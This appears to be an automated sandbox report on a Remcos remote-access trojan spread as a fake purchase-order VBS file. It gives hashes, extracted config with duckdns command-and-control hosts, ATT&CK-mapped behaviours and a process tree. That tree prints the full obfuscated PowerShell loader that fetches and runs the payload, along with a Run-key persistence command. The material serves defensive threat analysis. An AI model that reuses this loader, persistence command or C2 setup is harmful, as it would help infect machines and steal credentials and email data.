remcos | b313d7776a6a7b7bb2ddbd1a697a0f4605fe32d148669926ca035a0c319d4c41

General

Target

Rfq_po_december_purchase_list_details_specifications_09_12_2024_0000000000.vbs
Size

27KB
MD5

1ebca97c281e08af9e49d1dd74e5747b
SHA1

17183b08474e8abf08b2bb03d55932bc7dbb041b
SHA256

e019f271fcf4206af6a0a01dc9dc6bfdbe7e1a703b6965ded83838ec7f4ea76b
SHA512

3e54258ac11c3885e70995ff6b703407776814f2421a5226bf341bddc4a9ff24193281f3aba0de1f70c43ea6751e1328a5e5844444481437f99a60f307c11af3
SSDEEP

192:FCvyc7uc5bEE7l1GTGhhYSTBwHJL/3HmbrYLjIx6vudvLhvGgkttbxzocsdpLwf6:y6c5t7HmaWl0Cuoud8gULvsdpoCkY

Score

10^/10

remcos new collection discovery persistence rat

Malware Config

Extracted

Family

remcos

Botnet

New

C2

janout21oadsts1.duckdns.org:57484

janout21oadsts1.duckdns.org:57483

janout21oadsts2.duckdns.org:57484

janout21oadsts3.duckdns.org:57484

janout21oadsts4.duckdns.org:57484

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
amaonspt.dat
keylog_flag
false
keylog_path
%AppData%
mouse_option
false
mutex
lmoijuetgtso-X0FCJD
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4568-67-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4792-69-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2132-70-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2132-70-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4568-67-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 7 IoCs

flow	pid	Process
4	396	WScript.exe
13	2580	powershell.exe
45	4584	msiexec.exe
47	4584	msiexec.exe
50	4584	msiexec.exe
52	4584	msiexec.exe
53	4584	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Stagnering = "%Undersettling172% -windowstyle 1 $Miljplaners207=(gp -Path 'HKCU:\\Software\\Tedder\\').Vrdibrevet;%Undersettling172% ($Miljplaners207)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4584	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
208	powershell.exe
4584	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4584 set thread context of 4568	4584	msiexec.exe	99
PID 4584 set thread context of 2132	4584	msiexec.exe	100
PID 4584 set thread context of 4792	4584	msiexec.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4664	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2580	powershell.exe
2580	powershell.exe
208	powershell.exe
208	powershell.exe
208	powershell.exe
4792	msiexec.exe
4792	msiexec.exe
4568	msiexec.exe
4568	msiexec.exe
4568	msiexec.exe
4568	msiexec.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
208	powershell.exe
4584	msiexec.exe
4584	msiexec.exe
4584	msiexec.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	208	powershell.exe
Token: SeDebugPrivilege	4792	msiexec.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4584	msiexec.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 396 wrote to memory of 2580	396	WScript.exe	82
PID 396 wrote to memory of 2580	396	WScript.exe	82
PID 208 wrote to memory of 4584	208	powershell.exe	95
PID 208 wrote to memory of 4584	208	powershell.exe	95
PID 208 wrote to memory of 4584	208	powershell.exe	95
PID 208 wrote to memory of 4584	208	powershell.exe	95
PID 4584 wrote to memory of 5008	4584	msiexec.exe	96
PID 4584 wrote to memory of 5008	4584	msiexec.exe	96
PID 4584 wrote to memory of 5008	4584	msiexec.exe	96
PID 5008 wrote to memory of 4664	5008	cmd.exe	98
PID 5008 wrote to memory of 4664	5008	cmd.exe	98
PID 5008 wrote to memory of 4664	5008	cmd.exe	98
PID 4584 wrote to memory of 4568	4584	msiexec.exe	99
PID 4584 wrote to memory of 4568	4584	msiexec.exe	99
PID 4584 wrote to memory of 4568	4584	msiexec.exe	99
PID 4584 wrote to memory of 4568	4584	msiexec.exe	99
PID 4584 wrote to memory of 2132	4584	msiexec.exe	100
PID 4584 wrote to memory of 2132	4584	msiexec.exe	100
PID 4584 wrote to memory of 2132	4584	msiexec.exe	100
PID 4584 wrote to memory of 2132	4584	msiexec.exe	100
PID 4584 wrote to memory of 4792	4584	msiexec.exe	101
PID 4584 wrote to memory of 4792	4584	msiexec.exe	101
PID 4584 wrote to memory of 4792	4584	msiexec.exe	101
PID 4584 wrote to memory of 4792	4584	msiexec.exe	101

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rfq_po_december_purchase_list_details_specifications_09_12_2024_0000000000.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Uteralgia108='Interdiffused213';;$Fieldman33='Fikserbillederne';;$Hallels='Brough';;$Soddenness='Cyanogenic';;$Grubbery=$host.Name;function Fendillation($Morendes){If ($Grubbery) {$Tudegrimt=5} for ($Villa=$Tudegrimt;;$Villa+=6){if(!$Morendes[$Villa]){cls;break }$Tampende+=$Morendes[$Villa];$Fleerish='Sanerings'}$Tampende}function Hjt($Misdescriptive){ .($Heterotrophy) ($Misdescriptive)}$Fygesands=Fendillation 'N.dstnChandeLitotTPadle. Undew';$Fygesands+=Fendillation ' Wi.leNumenbCurryc GewgLSiksai Bo tEOve,bNS,aket';$Rehabiliterings=Fendillation 'gallyM.uckeoOms rzUnevai T ial Nun.ls imoaReca /';$Reproached=Fendillation ' ElekTBegralFjottsGoldb1 Anti2';$Tsiltaden='Barnd[punctNKno ke GennTs.per.ErhvesStignE trejRGingivPrissi SkriCUnaccESku,lpp,eurO AfsvI kok nChirrtQua,rmR mena CrennSubt,aRetragid ntESlyngRBegot]Lambi: Dele:AfkrfSStnknePugerC.olfruGynkorSmuglI ltraT PrinyUnrefpGl ttr eg foPuk eTBodysOLacetCMas uOFurthlUnaut= ybde$SmertR Hi ceVerdePAssu.r Ops OGraphaInfluCHyperHLovfoEBagvaD';$Rehabiliterings+=Fendillation 'taleh5Semip. Bore0Tande Mnten(OmbryWRe tiiZaptinTrei dRigskoTruc wForsus Bloe PeroxNElachTBeda Infel1Ringe0Uafhj.Touch0Teac,; Sk i AbreWr bbiiProg.nAmala6Condy4Tirer; .row ,estxLopho6 Capr4Usneo;Unrea casi r onnevLege.: dili1konsu3etage1M rho. S,an0.edeh)Befo EconsGAntice Ar ycUngnak lawkoGirel/Sbred2attri0Udsty1galva0 uach0diplo1Midts0Andes1 Homo LushFGlim iUnensr de aeHin,sfDr,oloDirgex naph/Chest1inden3 Reco1Cragg.Menis0';$Slutakter=Fendillation 'Aabenuskuess RgfaeAct vRSuper-PhoreaAnne,G ntroE frimNA phit';$Visioner=Fendillation 'StoryhH,evntulotrtLiderp FormsPisto:Ter.a/Tvang/KongeksfartrEndottUdmajoRetsmpTvegeu OmphpAnele. SupecLa stoTmrermBi.le/curacPCanalhudygta AudieSiphotK nta. HellxSe tosDomesn Toad> GasthUdviktGudhjtI plupSpa ssPers,:nonp./Ugl n/BrugekTagkorundsit Autoo datapUnperuMouripLasersShipw.Coun cAns ao Fun mbarm /S,jtePBils h aloaNonfueMil et Fers.ri.erxPostvs Euryn';$Welldoing=Fendillation 'Belus>';$Heterotrophy=Fendillation 'PintlI Slu e delex';$Restaurationsklausulens='Preerection';$Cybernazister='\Krumningers.For';Hjt (Fendillation 'Iat o$ Galvg No pLUnderoSuggebSatinAApololKnopp:ChyliP,amptisituan Ch pce.omouSamviStamsd=Sugge$Bal aevendiNCozyiVTurqu:DemioaEar lPKultupBa gaDReen aGoalpt biopaaa.ds+ hvid$ ,ushCSquatYK istBStrinEtur,erWinstnAs roA lasZStormI V.tasTtninTCapereSpri.R');Hjt (Fendillation ' Flow$EthnoGDiff,LPositoUnderbKsesraGri eLCheil:tweilBAmorei ,ylosAula HReadlO anklPTretrr Ar aI f ekC F.rs= rave$ omplV olkiAnastsTeoreiUnscaoTredenSpeciE DeviRAfspa. DiffsCurubPP.okuLVenirISysteTAfska( ilip$ C ntWGimmeEJehovlAddrsl TelodSchelOTil rI Ono.NNedarg Fl n)');Hjt (Fendillation $Tsiltaden);$Visioner=$Bishopric[0];$Udbudsmaterialet=(Fendillation 'Takke$St onGAdoptLSydveoKorreBOutcla B.leLhunde:ArbejEHjnelvMesi eHirtscUnumpT imesOFragmRPse d=DevalnUniveeRibbow sche-GambloMatinb ,nubJ anisE lricc Penit.room SpeciS Clowy rnitSUnfeltG anaEcr stMManni.Clito$journFEtageyUnabuGHawkiETr ins PaakAAdlednM dtaDKo trs');Hjt ($Udbudsmaterialet);Hjt (Fendillation 'Voksd$FynboeLoftsv Fyr eMrne cGalastUnd.ro Ca erEmitt.TearaHTu inesekanaCaut dNonmeeDyrsbrS,lfosSpui,[Grund$kamerS EleulTrlbiuOverftUn ypa HalvkW athtVaredePyromrPensi]Kulsv=Ref.t$TiljuRScutceEjakuh Bemaa OxonbQuadri Dis lop,eviViroltGolose,ptryrBver.i Ant nDece gStorts');$Bogkafpjens=Fendillation 'S nas$,ubade RgtevTetraeHa nec At mtFortro BottrKysha. Ru,eDPoppeo No.hwFoldnnPlattlTitrao Ha eaRegnedpremiFRabiai Globl A dee Keyb(Afs,j$DefenVsejlmi nreasOptimiFilm.oSalmen UnapeKr,gerLigbr,palla$Ca,teGUnridaRa npsT temtSt atiZygomgCafethFormat Plac)';$Gastight=$Pincus;Hjt (Fendillation 'Und r$EunukG Lob lB ggeoPuntab Ber aRoskil i no: atios FormPStr,ni StruRFeathOAbdicitriplLgrns i CoasCAfs r=Lepro(KarentH mmaeArsenSMisreTBoygd-.reatPn,vneaAbutsT ,ingh off, Krimi$SphenGOphreA eoriSRe heTUnacci CogngAnw.eHMidwiTPlain)');while (!$Spiroilic) {Hjt (Fendillation ' oly $CarligirreglKoppeo .amsbM stra B,xblIkono:Ecka RModsvoBe kinP owlgB yaneDommeuU,derrVan a=She t$CensoU F.rie Salvr J ckkTarsoeslangnDetondT appeGaardlAnnekiM,llegtorbjt') ;Hjt $Bogkafpjens;Hjt (Fendillation ' ekresPr not Non.aP stmRMe suTmult.-GeninSUnme,l Linje phiseLittePPrikk ers a4');Hjt (Fendillation ' Medi$ Hyd.gBirgil F,weoApartBudgi ACon eL uri:DvaleSrentepF rreIt.yksRRhodyOsignei.labeLB nemiBkke,CSvidn=,gadf(S,amfT hiloemobbiSReferTTagvi-SulphpUnfebaV rmiTSt.nhHRetu, ker e$For bG RecoASkistssouplT AsciiT thoGStilnH eamT Re.n)') ;Hjt (Fendillation 'Salv $ E nrGOdgerL fur ODecimbH nnaAC llaLFarve:BustlSwarraTTi thI elnT,rnedh,erveIW iskE.alvts Mas,= Pagi$OptioGsnowelAsiatoGra ubTreh.AOp,idL Pil :OldfrhNephaE Mi aa Ly tvScoutEcolonnbo ofiKarriSA fliE BindsDishe+Eupho+Lynt %machi$forvaBCoracISessiSbelveh etio Me.lpWindwrFor,iI ApprC Hete.bisamCM croOStr jU Kar NRoberT') ;$Visioner=$Bishopric[$Stithies]}$Urtaagernes=308387;$Upolitiske=32101;Hjt (Fendillation 'U.lig$ studgc rvilIngbeoChlorBAutooasur ilForma: anisb FaveuPreanR Marke IdenAPaupeuPhen.cBagveRDrkgia UdfoT nexhiLi,evzKuperePause Ladin= ,eel FeriG NonpE rchbTDerai-Fagl.CTrirhoSuthenhorriT allieFu,ktnGallbt Amat Sulba$ModiaG ndoda Pa psMur rtMispeI L.cqgkvindHTaktrT');Hjt (Fendillation 'Dross$RegiogS orilGunpoo astebPeculaUncirlse io: Heb E Sambk IngesStatupH lveoMeta.n S eneovergnJeanetKristiTrommaForkol E.uil M tciTabulgpaa knBulniiSju knU,teggCharme CounrTermisSki.f Omsvb=f bro ,nre[Best,S M scyMotorsBlacktIntereca.bumSuspe.CoconCExcaroUnpucnTh.odvHemate Tal,rPrimitPhono]Tr.es:Aeros:PptdoF Bilir igbro chuamproctBUnpapa KalisS iveeFor.s6Dynge4BlgebSfernat ThanrPachyiEf ernUvseng Fing(Rough$Un erB BensuResidrOutlaeGauchaSkovjuLativcAnalyrDemagaUnimptPrakti PdagzNemateUn.cc)');Hjt (Fendillation ' Feeb$ LaurGAflaal uipoKatipBb etraGeoetl Urte:Sprg uTrolonNondiF kaktR Van.InonnoA Hed rCalcalK nfiiChry K VandEGasbo Zo,c=dress Lovgi[BlodssDrif y PrioSOutlaTOverieG ponM Anko. Jul tKons E,heckXPintaTblo a.Tim rE Pulvn.arkecColpooPrinsdMaltaiOplsnN Lyk GS,abl]Klito: epto: spilaBeskysP sepcUnproiNea eI Afna.FormugKo rdedige.TfaktusRundktOpporR SrgmiStetiNAnt nGFredn(Hexad$ BoltEForkaK u,loSTentwpAlpinoS,ssaN PerseB ckpNVindiTPuttiIVild aVarmelH nonLGl ciIRe.ccg storNGrydrIFors.NAvo egModsteBeskerLegioS,arda)');Hjt (Fendillation ' Skol$TraumgFodgnl C nlOGingebGratiar linLHa.va:OmklaLB chai BrneS Te,mt FakuiTilbagKlodsePrsti=Freml$SamorUOriginunprofBolstr oddI egneaPulterMarjal risiISkn,ik Sup eAntr,. MetaS.vercU angeb DuimsParceT NoncrNyh.dIErotiNnyereG Bif (Gokke$OptjeUKlbenrBunioT BegyASputnAPost,gSubreeRuralRSalgsnreticESnurrSSelvs, delt$DagpeuPhaeipVenteOKlemmLKvalii.ixtitacc,li UdenSMonogk.outyECrea )');Hjt $Listige;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2580

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Uteralgia108='Interdiffused213';;$Fieldman33='Fikserbillederne';;$Hallels='Brough';;$Soddenness='Cyanogenic';;$Grubbery=$host.Name;function Fendillation($Morendes){If ($Grubbery) {$Tudegrimt=5} for ($Villa=$Tudegrimt;;$Villa+=6){if(!$Morendes[$Villa]){cls;break }$Tampende+=$Morendes[$Villa];$Fleerish='Sanerings'}$Tampende}function Hjt($Misdescriptive){ .($Heterotrophy) ($Misdescriptive)}$Fygesands=Fendillation 'N.dstnChandeLitotTPadle. Undew';$Fygesands+=Fendillation ' Wi.leNumenbCurryc GewgLSiksai Bo tEOve,bNS,aket';$Rehabiliterings=Fendillation 'gallyM.uckeoOms rzUnevai T ial Nun.ls imoaReca /';$Reproached=Fendillation ' ElekTBegralFjottsGoldb1 Anti2';$Tsiltaden='Barnd[punctNKno ke GennTs.per.ErhvesStignE trejRGingivPrissi SkriCUnaccESku,lpp,eurO AfsvI kok nChirrtQua,rmR mena CrennSubt,aRetragid ntESlyngRBegot]Lambi: Dele:AfkrfSStnknePugerC.olfruGynkorSmuglI ltraT PrinyUnrefpGl ttr eg foPuk eTBodysOLacetCMas uOFurthlUnaut= ybde$SmertR Hi ceVerdePAssu.r Ops OGraphaInfluCHyperHLovfoEBagvaD';$Rehabiliterings+=Fendillation 'taleh5Semip. Bore0Tande Mnten(OmbryWRe tiiZaptinTrei dRigskoTruc wForsus Bloe PeroxNElachTBeda Infel1Ringe0Uafhj.Touch0Teac,; Sk i AbreWr bbiiProg.nAmala6Condy4Tirer; .row ,estxLopho6 Capr4Usneo;Unrea casi r onnevLege.: dili1konsu3etage1M rho. S,an0.edeh)Befo EconsGAntice Ar ycUngnak lawkoGirel/Sbred2attri0Udsty1galva0 uach0diplo1Midts0Andes1 Homo LushFGlim iUnensr de aeHin,sfDr,oloDirgex naph/Chest1inden3 Reco1Cragg.Menis0';$Slutakter=Fendillation 'Aabenuskuess RgfaeAct vRSuper-PhoreaAnne,G ntroE frimNA phit';$Visioner=Fendillation 'StoryhH,evntulotrtLiderp FormsPisto:Ter.a/Tvang/KongeksfartrEndottUdmajoRetsmpTvegeu OmphpAnele. SupecLa stoTmrermBi.le/curacPCanalhudygta AudieSiphotK nta. HellxSe tosDomesn Toad> GasthUdviktGudhjtI plupSpa ssPers,:nonp./Ugl n/BrugekTagkorundsit Autoo datapUnperuMouripLasersShipw.Coun cAns ao Fun mbarm /S,jtePBils h aloaNonfueMil et Fers.ri.erxPostvs Euryn';$Welldoing=Fendillation 'Belus>';$Heterotrophy=Fendillation 'PintlI Slu e delex';$Restaurationsklausulens='Preerection';$Cybernazister='\Krumningers.For';Hjt (Fendillation 'Iat o$ Galvg No pLUnderoSuggebSatinAApololKnopp:ChyliP,amptisituan Ch pce.omouSamviStamsd=Sugge$Bal aevendiNCozyiVTurqu:DemioaEar lPKultupBa gaDReen aGoalpt biopaaa.ds+ hvid$ ,ushCSquatYK istBStrinEtur,erWinstnAs roA lasZStormI V.tasTtninTCapereSpri.R');Hjt (Fendillation ' Flow$EthnoGDiff,LPositoUnderbKsesraGri eLCheil:tweilBAmorei ,ylosAula HReadlO anklPTretrr Ar aI f ekC F.rs= rave$ omplV olkiAnastsTeoreiUnscaoTredenSpeciE DeviRAfspa. DiffsCurubPP.okuLVenirISysteTAfska( ilip$ C ntWGimmeEJehovlAddrsl TelodSchelOTil rI Ono.NNedarg Fl n)');Hjt (Fendillation $Tsiltaden);$Visioner=$Bishopric[0];$Udbudsmaterialet=(Fendillation 'Takke$St onGAdoptLSydveoKorreBOutcla B.leLhunde:ArbejEHjnelvMesi eHirtscUnumpT imesOFragmRPse d=DevalnUniveeRibbow sche-GambloMatinb ,nubJ anisE lricc Penit.room SpeciS Clowy rnitSUnfeltG anaEcr stMManni.Clito$journFEtageyUnabuGHawkiETr ins PaakAAdlednM dtaDKo trs');Hjt ($Udbudsmaterialet);Hjt (Fendillation 'Voksd$FynboeLoftsv Fyr eMrne cGalastUnd.ro Ca erEmitt.TearaHTu inesekanaCaut dNonmeeDyrsbrS,lfosSpui,[Grund$kamerS EleulTrlbiuOverftUn ypa HalvkW athtVaredePyromrPensi]Kulsv=Ref.t$TiljuRScutceEjakuh Bemaa OxonbQuadri Dis lop,eviViroltGolose,ptryrBver.i Ant nDece gStorts');$Bogkafpjens=Fendillation 'S nas$,ubade RgtevTetraeHa nec At mtFortro BottrKysha. Ru,eDPoppeo No.hwFoldnnPlattlTitrao Ha eaRegnedpremiFRabiai Globl A dee Keyb(Afs,j$DefenVsejlmi nreasOptimiFilm.oSalmen UnapeKr,gerLigbr,palla$Ca,teGUnridaRa npsT temtSt atiZygomgCafethFormat Plac)';$Gastight=$Pincus;Hjt (Fendillation 'Und r$EunukG Lob lB ggeoPuntab Ber aRoskil i no: atios FormPStr,ni StruRFeathOAbdicitriplLgrns i CoasCAfs r=Lepro(KarentH mmaeArsenSMisreTBoygd-.reatPn,vneaAbutsT ,ingh off, Krimi$SphenGOphreA eoriSRe heTUnacci CogngAnw.eHMidwiTPlain)');while (!$Spiroilic) {Hjt (Fendillation ' oly $CarligirreglKoppeo .amsbM stra B,xblIkono:Ecka RModsvoBe kinP owlgB yaneDommeuU,derrVan a=She t$CensoU F.rie Salvr J ckkTarsoeslangnDetondT appeGaardlAnnekiM,llegtorbjt') ;Hjt $Bogkafpjens;Hjt (Fendillation ' ekresPr not Non.aP stmRMe suTmult.-GeninSUnme,l Linje phiseLittePPrikk ers a4');Hjt (Fendillation ' Medi$ Hyd.gBirgil F,weoApartBudgi ACon eL uri:DvaleSrentepF rreIt.yksRRhodyOsignei.labeLB nemiBkke,CSvidn=,gadf(S,amfT hiloemobbiSReferTTagvi-SulphpUnfebaV rmiTSt.nhHRetu, ker e$For bG RecoASkistssouplT AsciiT thoGStilnH eamT Re.n)') ;Hjt (Fendillation 'Salv $ E nrGOdgerL fur ODecimbH nnaAC llaLFarve:BustlSwarraTTi thI elnT,rnedh,erveIW iskE.alvts Mas,= Pagi$OptioGsnowelAsiatoGra ubTreh.AOp,idL Pil :OldfrhNephaE Mi aa Ly tvScoutEcolonnbo ofiKarriSA fliE BindsDishe+Eupho+Lynt %machi$forvaBCoracISessiSbelveh etio Me.lpWindwrFor,iI ApprC Hete.bisamCM croOStr jU Kar NRoberT') ;$Visioner=$Bishopric[$Stithies]}$Urtaagernes=308387;$Upolitiske=32101;Hjt (Fendillation 'U.lig$ studgc rvilIngbeoChlorBAutooasur ilForma: anisb FaveuPreanR Marke IdenAPaupeuPhen.cBagveRDrkgia UdfoT nexhiLi,evzKuperePause Ladin= ,eel FeriG NonpE rchbTDerai-Fagl.CTrirhoSuthenhorriT allieFu,ktnGallbt Amat Sulba$ModiaG ndoda Pa psMur rtMispeI L.cqgkvindHTaktrT');Hjt (Fendillation 'Dross$RegiogS orilGunpoo astebPeculaUncirlse io: Heb E Sambk IngesStatupH lveoMeta.n S eneovergnJeanetKristiTrommaForkol E.uil M tciTabulgpaa knBulniiSju knU,teggCharme CounrTermisSki.f Omsvb=f bro ,nre[Best,S M scyMotorsBlacktIntereca.bumSuspe.CoconCExcaroUnpucnTh.odvHemate Tal,rPrimitPhono]Tr.es:Aeros:PptdoF Bilir igbro chuamproctBUnpapa KalisS iveeFor.s6Dynge4BlgebSfernat ThanrPachyiEf ernUvseng Fing(Rough$Un erB BensuResidrOutlaeGauchaSkovjuLativcAnalyrDemagaUnimptPrakti PdagzNemateUn.cc)');Hjt (Fendillation ' Feeb$ LaurGAflaal uipoKatipBb etraGeoetl Urte:Sprg uTrolonNondiF kaktR Van.InonnoA Hed rCalcalK nfiiChry K VandEGasbo Zo,c=dress Lovgi[BlodssDrif y PrioSOutlaTOverieG ponM Anko. Jul tKons E,heckXPintaTblo a.Tim rE Pulvn.arkecColpooPrinsdMaltaiOplsnN Lyk GS,abl]Klito: epto: spilaBeskysP sepcUnproiNea eI Afna.FormugKo rdedige.TfaktusRundktOpporR SrgmiStetiNAnt nGFredn(Hexad$ BoltEForkaK u,loSTentwpAlpinoS,ssaN PerseB ckpNVindiTPuttiIVild aVarmelH nonLGl ciIRe.ccg storNGrydrIFors.NAvo egModsteBeskerLegioS,arda)');Hjt (Fendillation ' Skol$TraumgFodgnl C nlOGingebGratiar linLHa.va:OmklaLB chai BrneS Te,mt FakuiTilbagKlodsePrsti=Freml$SamorUOriginunprofBolstr oddI egneaPulterMarjal risiISkn,ik Sup eAntr,. MetaS.vercU angeb DuimsParceT NoncrNyh.dIErotiNnyereG Bif (Gokke$OptjeUKlbenrBunioT BegyASputnAPost,gSubreeRuralRSalgsnreticESnurrSSelvs, delt$DagpeuPhaeipVenteOKlemmLKvalii.ixtitacc,li UdenSMonogk.outyECrea )');Hjt $Listige;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:208
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4584
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Stagnering" /t REG_EXPAND_SZ /d "%Undersettling172% -windowstyle 1 $Miljplaners207=(gp -Path 'HKCU:\Software\Tedder\').Vrdibrevet;%Undersettling172% ($Miljplaners207)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5008
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Stagnering" /t REG_EXPAND_SZ /d "%Undersettling172% -windowstyle 1 $Miljplaners207=(gp -Path 'HKCU:\Software\Tedder\').Vrdibrevet;%Undersettling172% ($Miljplaners207)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:4664
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\rtuponmdxwha"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:4568
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\cvhhpfxflezfjytj"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:2132
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\mqmaiyhyzmrstfhnghl"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71444def27770d9071039d005d0323b7

SHA1
cef8654e95495786ac9347494f4417819373427e

SHA256
8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

SHA512
a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z2h2mh5b.qhy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\rtuponmdxwha

Filesize
4KB

MD5
75379d3dcbcea6a69bc75b884816dd40

SHA1
